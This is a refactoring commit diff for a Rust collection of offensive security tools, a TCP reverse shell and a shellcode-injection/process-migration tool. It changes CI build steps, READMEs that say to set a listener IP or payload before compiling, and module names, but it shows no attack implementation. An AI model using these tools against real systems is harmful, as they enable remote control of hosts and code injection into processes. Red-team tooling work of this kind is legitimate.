Refactor (#6)

* more readable cargo files

* no more branch specifier

* documentation overhaul

* ok final rename i think

* change order and add cleans
This commit is contained in:
kmanc
2021-12-27 12:37:24 -08:00
committed by GitHub
parent b70a086949
commit 776934d2ea
14 changed files with 78 additions and 37 deletions
+6 -2
View File
@@ -16,9 +16,13 @@ jobs:
steps:
- uses: actions/checkout@v2
- name: Build all for Unix
run: cargo build --verbose
- name: Build reverse shell for Unix
run: cargo build -p tcp_reverse_shell --verbose
- name: Clean
run: cargo clean
- name: Build process migration for Unix
run: cargo build -p process_migration --verbose
- name: Clean again
run: cargo clean
- name: Build all for Unix
run: cargo build --verbose
+6 -2
View File
@@ -20,9 +20,13 @@ jobs:
run: sudo apt -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- name: Build all for Windows
run: cargo build --target x86_64-pc-windows-gnu --verbose
- name: Build reverse shell for Windows
run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --verbose
- name: Clean
run: cargo clean
- name: Build process migration for Windows
run: cargo build -p process_migration --target x86_64-pc-windows-gnu --verbose
- name: Clean again
run: cargo clean
- name: Build all for Windows
run: cargo build --target x86_64-pc-windows-gnu --verbose
+1 -1
View File
@@ -3,4 +3,4 @@
members = [
"tcp_reverse_shell",
"process_migration",
]
]
+15 -22
View File
@@ -1,8 +1,8 @@
# Remote code oxidation (RCO)
[![RCO for Unix targets](https://github.com/kmanc/remote_code_oxidation/actions/workflows/unix.yml/badge.svg?branch=master)](https://github.com/kmanc/remote_code_oxidation/actions/workflows/unix.yml)
[![RCO for Unix targets](https://github.com/kmanc/remote_code_oxidation/actions/workflows/unix.yml/badge.svg)](https://github.com/kmanc/remote_code_oxidation/actions/workflows/unix.yml)
[![RCO for Windows targets](https://github.com/kmanc/remote_code_oxidation/actions/workflows/windows.yml/badge.svg?branch=master)](https://github.com/kmanc/remote_code_oxidation/actions/workflows/windows.yml)
[![RCO for Windows targets](https://github.com/kmanc/remote_code_oxidation/actions/workflows/windows.yml/badge.svg)](https://github.com/kmanc/remote_code_oxidation/actions/workflows/windows.yml)
![language](https://img.shields.io/github/languages/top/kmanc/remote_code_oxidation?style=plastic)
@@ -12,48 +12,41 @@ A collection of offensive security tools written in Rust. More details to come
## Tools list
- [TCP reverse shell](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
- Navigate to [its config file](https://github.com/kmanc/remote_code_oxidation/blob/master/tcp_reverse_shell/src/config.rs) and change the IP address and port before compiling
- [Shellcode injection and process migration](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
- Navigate to [its config file](https://github.com/kmanc/remote_code_oxidation/blob/master/process_migration/src/config.rs) and change the shellcode before compiling
- [Process migration](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
## Compilation
## Setup
### From Linux host for Linux target
Install Rust
```
```commandline
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
Set up Environment
```
Add dependencies for compiling
```commandline
sudo apt install cmake
```
Build!
```
```commandline
cargo build [-p package_name] [--release]
```
Example
```
cargo build -p tcp_reverse_shell --release
```
### From Linux host for Windows target
Add dependencies for cross-compiling
Install Rust
```commandline
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
Add dependencies for cross-compiling
```commandline
sudo apt install mingw-w64
rustup target add x86_64-pc-windows-gnu
```
Build!
```
```commandline
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--release]
```
Example
```
cargo build --target x86_64-pc-windows-gnu -p process_migration --release
```
+9 -1
View File
@@ -9,4 +9,12 @@ authors = ["Kevin Conley <koins@duck.com>"]
[dependencies]
[target.'cfg(windows)'.dependencies]
windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Diagnostics_Debug", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Memory", "Win32_System_Threading"] }
windows.version = "0.28.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_Memory",
"Win32_System_Threading"
]
+13
View File
@@ -0,0 +1,13 @@
# RCO: Process Migration
Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/process_migration/src/config.rs) and change the shellcode to your desired payload before compiling
#### Build for Unix target
```commandline
cargo build -p process_migration --release
```
#### Build for Windows target
```commandline
cargo build --target x86_64-pc-windows-gnu -p process_migration --release
```
+4 -4
View File
@@ -3,16 +3,16 @@ mod config;
// Load the appropriate operating system's implementation
#[cfg(unix)]
mod rco_proc_mig_unix;
mod rco_process_migration_unix;
#[cfg(unix)]
use rco_proc_mig_unix::inject_and_migrate;
use rco_process_migration_unix::inject_and_migrate;
#[cfg(windows)]
extern crate windows;
#[cfg(windows)]
mod rco_proc_mig_windows;
mod rco_process_migration_windows;
#[cfg(windows)]
use rco_proc_mig_windows::inject_and_migrate;
use rco_process_migration_windows::inject_and_migrate;
fn main() {
inject_and_migrate(config::SHELLCODE);
+7 -1
View File
@@ -9,4 +9,10 @@ authors = ["Kevin Conley <koins@duck.com>"]
[dependencies]
[target.'cfg(windows)'.dependencies]
windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Networking_WinSock", "Win32_System_Threading"] }
windows.version = "0.28.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
"Win32_Networking_WinSock",
"Win32_System_Threading"
]
+13
View File
@@ -0,0 +1,13 @@
# RCO: TCP Reverse Shell
Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/tcp_reverse_shell/src/config.rs) and change the IP address and port to match your listener before compiling
#### Build for Unix target
```commandline
cargo build -p tcp_reverse_shell --release
```
#### Build for Windows target
```commandline
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release
```
+4 -4
View File
@@ -3,16 +3,16 @@ mod config;
// Load the appropriate operating system's implementation
#[cfg(unix)]
mod rco_rev_shell_unix;
mod rco_reverse_shell_unix;
#[cfg(unix)]
use rco_rev_shell_unix::shell;
use rco_reverse_shell_unix::shell;
#[cfg(windows)]
extern crate windows;
#[cfg(windows)]
mod rco_rev_shell_windows;
mod rco_reverse_shell_windows;
#[cfg(windows)]
use rco_rev_shell_windows::shell;
use rco_reverse_shell_windows::shell;
fn main() {
shell(config::IP, config::PORT);